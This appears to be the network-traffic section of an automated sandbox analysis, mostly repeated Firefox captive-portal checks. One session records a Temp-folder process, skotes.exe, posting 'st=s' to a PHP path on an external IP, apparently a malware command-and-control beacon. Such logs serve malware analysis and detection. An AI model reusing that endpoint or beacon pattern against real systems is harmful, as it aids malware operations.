Nov 23, 2024 21:16:25.923293114 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48508 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:26.561455011 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:26.893687963 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48509 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:26.980999947 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:27.326829910 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48510 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:28.559278011 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:28.884963989 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48511 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:32.284694910 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:32.628298044 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48515 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:42.696012020 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:16:43.691478968 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:44.016396999 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48526 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:54.094645023 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:16:54.207283020 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:54.532044888 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48537 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:16:55.821507931 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:16:56.252202034 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48539 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:17:01.811331987 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:17:02.136492014 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48544 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:17:05.284653902 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:17:05.608735085 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48548 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:17:15.695353031 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:17:24.423898935 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:17:24.752252102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48567 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:17:25.693948984 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:17:26.024544001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48568 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:17:36.086522102 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:17:46.283555031 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:17:47.045130014 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:17:47.563611031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48590 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:17:57.588249922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:07.789428949 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:17.988599062 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:28.188281059 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:18:38.385819912 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:19:08.859301090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:19:09.308048964 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48672 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:19:27.411890030 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:19:27.915726900 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48690 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 21:19:28.822021961 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 21:19:29.383275986 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 48692 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.8	49931	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:25.717116117 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.8	49934	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:26.054430962 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49936	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:26.811203003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49939	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:27.033199072 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49945	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:16:27.455398083 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:16:28.606391907 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68843 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:16:28.887717009 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:16:29.213686943 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68844 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:16:32.631917953 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:16:32.957540989 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68847 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:16:42.998584032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:16:44.020591974 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:16:44.344615936 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68859 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:16:54.396713972 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:16:54.534820080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:16:54.963025093 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68869 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:16:56.255095959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:16:56.593699932 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68871 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:17:02.139353991 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:17:02.464878082 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68877 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:17:05.613101959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:17:05.943763018 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68880 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:17:15.997023106 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:17:24.756388903 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:17:25.080503941 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68899 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:17:26.028604984 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 21:17:26.491976023 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 68901 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 21:17:36.589359045 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:17:46.786401033 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 21:17:47.568069935 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
